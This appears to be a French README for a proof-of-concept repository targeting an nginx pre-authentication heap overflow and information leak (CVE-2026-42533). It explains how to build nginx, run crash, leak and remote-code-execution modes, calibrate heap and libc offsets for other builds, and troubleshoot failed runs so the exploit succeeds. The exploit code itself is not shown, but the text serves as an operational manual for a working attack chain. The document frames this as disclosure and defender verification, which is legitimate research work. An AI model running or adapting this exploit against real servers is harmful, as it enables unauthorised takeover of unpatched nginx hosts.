
CVE-2026-42533 : débordement de tas nginx pré-authentification et fuite d'informations due à l'écrasement des captures PCRE dans le moteur map/script, enchaîné à une RCE.
Débordement de tampon sur le tas en pré-auth et fuite d'informations sur le tas dans nginx, causés par l'absence de sauvegarde/restauration de l'état des captures PCRE entre les deux passages du moteur de script. Une variable map basée sur une regex, évaluée entre deux références de capture, écrase r->captures, de sorte que le passage LEN et le passage VALUE ne s'accordent pas sur la taille d'une capture. Le tampon est dimensionné pour une capture et rempli avec une autre. Un écrasement plus grand produit un débordement de tas avec un contenu et une longueur contrôlés par l'attaquant. Un écrasement plus petit produit un tampon surdimensionné dont la queue non initialisée est renvoyée au client, divulguant des pointeurs libc et tas.
Les deux primitives s'enchaînent en une exécution de code à distance fiable en pré-auth. La fuite contourne l'ASLR en une seule requête GET, si bien que le débordement ne nécessite pas que l'ASLR soit désactivé.
Analyse : https://cyberstan.co.uk/nginx-rce/ Avis de sécurité : F5 K000162097 Signalé par : Stan Shaw (cyberstan)
nginx 0.9.6 à 1.30.3 (stable) et 1.31.2 (mainline), atteignable depuis que la directive map a obtenu le support des regex en 2011. Les modules http et stream sont tous deux concernés. Environ 50 directives réparties sur 13 points d'appel, plus un second chemin via les captures nommées (r->variables[]). Corrigé dans 1.30.4 et 1.31.3.
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
Exécutez chaque commande ci-dessous depuis la racine du dépôt, afin que exploits/, configs/ et l'arborescence de build ../nginx-1.30.1 soient tous correctement résolus.
exploits/poc.py est l'exploit principal (capture numérotée, sink proxy_method). Ses modes :
Scripts autonomes couvrant le reste de la surface du bug :
Les configurations se trouvent dans configs/ : nginx_poc.conf (crash/leak/rce), nginx_det.conf (rce-det). L'analyse complète se trouve dans docs/EXPLOITATION.md.
Linux, gcc, python3 et les sources d'nginx 1.30.1. Développé et testé sur Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, ASLR complet.
Deux builds. Un build propre pour la fuite et le RCE, afin que les résidus du tas soient réels. Un build AddressSanitizer pour le crash et les validateurs de sites, afin que le débordement soit signalé avec une taille d'écriture exacte et une pile.
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py communique avec une instance nginx en cours d'exécution sur 127.0.0.1:8950. Démarrez-la dans un terminal avec configs/nginx_poc.conf, puis lancez le mode souhaité dans un autre. Les trois autres scripts démarrent et arrêtent leur propre nginx ; ils n'ont donc besoin que de NGINX_BIN.
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
Résultat attendu : un heap-buffer-overflow, WRITE of size 200 dans ngx_http_script_copy_capture_code à ngx_http_script.c:1404, appelé depuis ngx_http_complex_value dans ngx_http_proxy_create_request.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
Résultat attendu : un corps de 8161 octets avec 2 octets écrits, le reste étant composé de résidus du tas. Un pointeur libc au décalage 0x08 et un pointeur tas au décalage 0x10.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
Résultat attendu : une fuite, environ 40 connexions de spray, un déclenchement du débordement, puis /tmp/PWNED contenant la sortie de id. Il s'agit d'un tir unique qui aboutit environ deux fois sur trois sur le build de développement ; en cas d'échec, le worker plante et vous relancez. Voir la section « Reliability » de docs/EXPLOITATION.md.
Contre une configuration contrôlée, le même bug devient un tir unique déterministe. Il récupère la base absolue du tas à partir de la fuite en une ligne (heap_base = (leaked_ptr & ~0xfff) - 0x22000), place un unique nettoyage de pool forgé dans une connexion maintenue à une adresse connue, et fait pointer le nettoyage du pool victime vers lui au lieu du corps déclencheur transitoire, qu'nginx libère avant le démontage.
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf est une configuration de laboratoire (worker unique, tampons fixes) dont la disposition du tas est reproductible ; c'est ce qui rend valides les décalages de poc.py (PL_OFF, HEAP_PAGE_OFF). PL_OFF est le décalage depuis la base du tas auquel atterrit le corps de nettoyage du POST /b/ maintenu ; il dépend de la séquence d'allocation exacte, il varie donc entre les builds, les versions de glibc et les configurations. Si --rce-det signale Recalibrate, lisez les bonnes valeurs sur un worker actif avec calibrate.py :
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py
Le seul autre cas d'échec est un tirage ASLR qui place un 0x0a dans l'adresse de nettoyage ou dans le corps du débordement, ce que la regex map ne peut pas transporter ; l'outil le signale et vous relancez. Un déploiement standard n'est pas aussi prévisible ; utilisez donc --rce dans ce cas. Voir « A deterministic build » dans docs/EXPLOITATION.md.
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py # ASan build
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py 1 7 12 # a subset
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/named_capture_poc.py # ASan build
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/leak_multi.py # clean build
Résultat attendu : return et set divulguent chacun un pointeur libc et un pointeur tas, les deux confirmés par rapport au /proc/<pid>/maps du worker.
Deux choses piègent le plus de monde : l'utilisation du mauvais build (ASan vs propre) et des décalages --rce-det qui ne correspondent pas à votre environnement. Les deux sont traités ci-dessous.
--rce récupère la base de libc et un pointeur tas à l'exécution à partir de la fuite ; il ne code donc aucune adresse en dur. Il code en revanche en dur des décalages spécifiques au build et à la libc sur lesquels il a été développé :
LIBC_LEAK_OFFSET libc base to the leaked arena pointer
SYSTEM_OFFSET libc base to system()
BODY_DELTA_* leaked heap pointer to the overflow body buffer
POOL_OFF_FROM_BUF, D_LAST_OFF, D_END_OFF, LOG_OFF forged pool geometry
Sur une autre distribution, une autre glibc ou un autre build nginx, ces valeurs doivent être recalibrées. Lisez le décalage réel de system() avec readelf -sW /lib/x86_64-linux-gnu/libc.so.6 | grep '\bsystem\b', et lisez les décalages du pool depuis le ngx_pool_t de la cible. Les modes --crash et --leak ne comportent pas de tels décalages et se reproduisent sur n'importe quel build d'une version affectée.
La fuite ne nécessite aucun réglage particulier. Elle fonctionne avec une configuration events {} standard, dont le worker_connections par défaut (512) dimensionne l'arène de sorte que le bloc de requête libéré atterrisse dans un bin glibc contenant encore des pointeurs d'arène et de tas que le tampon surdimensionné de la fuite réutilise. Seul un worker_connections anormalement bas (sous ~256) y échappe ; toutes les valeurs de production (512 à 1024) provoquent la fuite.
Un scanner statique de configuration qui signale le motif vulnérable sans rien exploiter est disponible sur https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner.
Cet outil cible une vulnérabilité corrigée et divulguée publiquement. Il existe pour permettre aux défenseurs de vérifier leur exposition et pour la reproduction à des fins de recherche. Ne l'exécutez que contre des instances nginx que vous possédez ou que vous êtes explicitement autorisé à tester. Mettez à jour vers 1.30.4 ou 1.31.3.
| Mode | Objectif |
|---|
poc.py --crash | Déclenche le débordement de tas ; sur un build ASan, il affiche la taille d'écriture et la pile au niveau de ngx_http_script_copy_capture_code. |
poc.py --leak | Fuite d'informations : extrait les pointeurs libc et tas du corps de réponse surdimensionné. |
poc.py --rce | RCE complet en pré-auth. Tir unique général (configs/nginx_poc.conf), ~66 % de réussite par tentative ; relancez en cas d'échec. |
poc.py --rce-det | RCE complet en pré-auth, déterministe avec la configuration contrôlée configs/nginx_det.conf. |
| Script | Objectif |
|---|
exploits/leak_multi.py | Fuite d'informations via deux évaluateurs supplémentaires (return, set) ; chaque pointeur libc+tas est confirmé par rapport à /proc/<pid>/maps. Configuration standard. |
exploits/test_all_sites.py | Validateur AddressSanitizer qui déclenche les 13 points d'appel de débordement (http + stream). |
exploits/named_capture_poc.py | La variante à capture nommée (?P<name>...) via r->variables[] / copy_var_code, une seconde cause racine. |
| Symptôme | Cause | Que faire |
|---|
--leak n'affiche aucun pointeur, ou --rce / --rce-det n'aboutissent jamais | Vous utilisez le build ASan ; AddressSanitizer empoisonne la mémoire libérée, si bien que les résidus ne contiennent aucun vrai pointeur | Utilisez le build propre objs.dbg pour --leak, --rce, --rce-det et leak_multi.py. Le build ASan objs est uniquement destiné à --crash, test_all_sites.py et named_capture_poc.py. |
--rce n'aboutit qu'environ 2 fois sur 3 | Tir unique contre une configuration générale ; l'emplacement du corps déclencheur libéré varie | Comportement attendu. En cas d'échec, le worker plante et redémarre ; relancez simplement. Pour un tir unique déterministe, utilisez --rce-det. |
--rce-det affiche No RCE. Recalibrate PL_OFF/HEAP_PAGE_OFF à chaque exécution | PL_OFF est spécifique à votre build, votre glibc, votre configuration et à la longueur du chemin du préfixe -p d'nginx. La valeur fournie est celle du build de développement de ce dépôt lancé avec -p run. | Exécutez exploits/calibrate.py, collez le PL_OFF qu'il affiche dans exploits/poc.py, puis démarrez nginx avec le même préfixe -p que celui donné à calibrate.py (le README utilise -p run). |
--rce-det affiche parfois 0x0a (regex-hostile) ... retry | Un tirage ASLR a placé un octet 0x0a (saut de ligne) dans une adresse, ce que la regex map ne peut pas transporter | Ce n'est pas un échec. Relancez ; le tirage suivant l'évite presque toujours. |
nginx ou calibrate.py : bind() to 127.0.0.1:8950 failed (Address already in use) | Une instance précédente d'nginx occupe toujours le port | pkill -x nginx, attendez une seconde, puis réessayez. Ne gardez qu'une seule instance nginx sur le port 8950. |
Un script autonome affiche nginx not found | NGINX_BIN non défini ou pointant vers le mauvais build | Définissez NGINX_BIN (build propre pour leak_multi.py, build ASan pour les validateurs). |
No such file pour une configuration, un script ou le binaire nginx | Vous n'êtes pas à la racine du dépôt | Placez-vous d'abord à la racine du dépôt avec cd ; chaque commande la suppose (exploits/..., configs/..., ../nginx-1.30.1/...). |
| La fuite fonctionne avec une configuration mais pas avec une autre | Un worker_connections inférieur à ~256 réduit l'arène, si bien que le bloc libéré ne contient aucun pointeur | Utilisez un worker_connections normal (512 à 1024). Toutes les valeurs de production provoquent la fuite. |